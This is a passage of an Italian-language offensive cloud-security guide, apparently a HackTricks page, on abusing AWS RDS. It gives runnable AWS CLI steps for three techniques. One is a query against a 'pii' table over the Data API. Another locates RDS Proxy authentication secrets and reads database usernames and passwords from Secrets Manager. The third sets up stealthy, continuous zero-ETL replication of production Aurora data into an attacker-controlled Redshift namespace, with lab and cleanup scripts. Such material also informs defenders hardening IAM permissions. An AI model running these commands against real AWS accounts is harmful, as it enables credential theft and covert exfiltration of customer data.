aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
|
||||
--format-records-as JSON
|
||||
```
|
||||
</details>
|
||||
|
||||
Note:
|
||||
- Se SQL con più istruzioni viene rifiutato da rds-data, inviare chiamate execute-statement separate.
|
||||
- Per gli engine in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
|
||||
- Assicurarsi che l'engine/versione supporti effettivamente la Data API; altrimenti HttpEndpointEnabled resterà False.
|
||||
|
||||
|
||||
### Raccogliere le credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusare della configurazione di RDS Proxy per individuare il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret usa una CMK, permessi KMS mal delimitati possono anche consentire `kms:Decrypt`.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` sul SecretArn referenziato
|
||||
- Opzionale se il secret utilizza una CMK: `kms:Decrypt` su quella chiave
|
||||
|
||||
Impact: Divulgazione immediata del DB username/password configurato sul proxy; consente accesso diretto al DB o ulteriore lateral movement.
|
||||
|
||||
Passaggi
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
|
||||
--output table
|
||||
|
||||
# 2) Read the secret value (common over-permission)
|
||||
aws secretsmanager get-secret-value \
|
||||
--secret-id <SecretArnFromProxy> \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Laboratorio (minimo per riprodurre)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SECRET_ARN=$(aws secretsmanager create-secret \
|
||||
--region $REGION --name rds/proxy/aurora-demo \
|
||||
--secret-string username:admin \
|
||||
--query ARN --output text)
|
||||
aws iam create-role --role-name rds-proxy-secret-role \
|
||||
--assume-role-policy-document Version:2012-10-17
|
||||
aws iam attach-role-policy --role-name rds-proxy-secret-role \
|
||||
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
--auth [AuthScheme:SECRETS] \
|
||||
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
|
||||
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Pulizia (lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Esfiltrazione continua stealthy via Aurora zero‑ETL verso Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una resource policy Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per uno specifico ARN del cluster Aurora, an attacker può stabilire una copia dei dati quasi in tempo reale senza DB creds, snapshots o esposizione di rete.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Create Redshift Serverless namespace + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
|
||||
--query namespace.namespaceArn --output text)
|
||||
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
|
||||
--query workgroup.workgroupArn --output text)
|
||||
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
|
||||
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configura la resource policy di Redshift per consentire la sorgente Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
cat > rs-rp.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AuthorizeInboundByRedshiftService",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "redshift.amazonaws.com"},
|
||||
"Action": "redshift:AuthorizeInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN",
|
||||
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
|
||||
},
|
||||
{
|
||||
"Sid": "AllowCreateInboundFromAccount",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
|
||||
"Action": "redshift:CreateInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN"
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Crea cluster Aurora PostgreSQL (abilita Data API e replica logica)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--engine aurora-postgresql --engine-version 16.4 \
|
||||
--master-username postgres --master-user-password 'InitPwd-1!' \
|
||||
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
# Serverless v2 instance
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
|
||||
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
|
||||
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
# Cluster parameter group for zero‑ETL
|
||||
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
|
||||
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
|
||||
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
|
||||
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
|
||||
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Crea l'integrazione zero‑ETL da RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
|
||||
--data-filter 'include: postgres.*.*'
|
||||
# Redshift inbound integration should become ACTIVE
|
||||
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materializzare e interrogare dati replicati in Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "select integration_id from svv_integration" # take the GUID value
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "create database ztl_db from integration '<integration_id>' database postgres"
|
||||
# List tables replicated
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
|
||||
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
|
||||
```
|
||||
</details>
|
||||
|
||||
Evidenze osservate nel test:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION ha mostrato integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e state PendingDbConnectState prima della creazione del DB.
|
||||
- Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; la SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).
|
||||
|
||||
Impatto: Exfiltration continua quasi in tempo reale di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza usare credenziali del database, backup o accesso di rete al cluster sorgente.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user